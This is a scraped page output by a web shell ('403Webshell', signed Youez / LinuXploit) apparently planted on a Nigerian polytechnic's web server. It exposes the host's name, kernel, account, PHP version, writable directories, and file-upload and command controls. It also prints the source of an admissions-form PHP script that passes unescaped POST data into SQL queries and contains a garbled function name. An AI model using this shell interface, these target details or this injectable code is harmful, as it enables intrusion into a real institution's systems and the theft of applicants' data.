403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.127.136
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/eace_entranceForm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/eace_entranceForm/secondary_edit_process.php
<?php
ob_start();
session_start();
extract($_POST);
require_once('../connect.php');
$db=db_connect();
$session='2018/2019';
$level=$_SESSION['formType'];
$formNo=$_SESSION['formNo'];

$sname=str_replossce("'","''",$sname);



///===============================

$sql_fill=$db->query("select * from stddata where formNo='$formNo'");
$sql_fill_count=$sql_fill->rowCount();

if ($sql_fill_count==1) {

$db->query("UPDATE `fedpoly`.`secondary` SET `sname`='$sname', `sfrom`='$sfrom', `sto`='$sto' WHERE `secondary`.`formNo` = '$formNo' LIMIT 1 ");
//require_once('olevel.php');
//
/*$db->query("INSERT INTO `fedpoly`.`secondary` (`sn`, `formNo`, `sname`, `sfrom`, `sto`) VALUES (NULL, '$formNo', '$sname', '$sfrom', '$sto')");
$db->query("UPDATE `fedpoly`.`secondary` SET `sname` = '$sname',`sfrom` = '$sfrom',`sto` = '$sto' WHERE `secondary`.`formNo` = '$formNo' LIMIT 1 ;");
//
$sql_fill=$db->query("select * from stddata where formNo=$formNo");
$sql_fill_count=$sql_fill->rowCount();

$sql_olevel=$db->query("select * from preolevel where formNo=$formNo");
$sql_olevel_count=$sql_olevel->rowCount();
if (($sql_fill_count==1) and ($sql_olevel_count==1)){
    header('location:'.'applyPrint.php');
}else{
    header('location:'.'apply.php?id=mainData');
*/
    header('location:secondary_edit.php?id=1');
}else{
    header('location:secondary_edit.php?id=2');

}
ob_end_flush();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit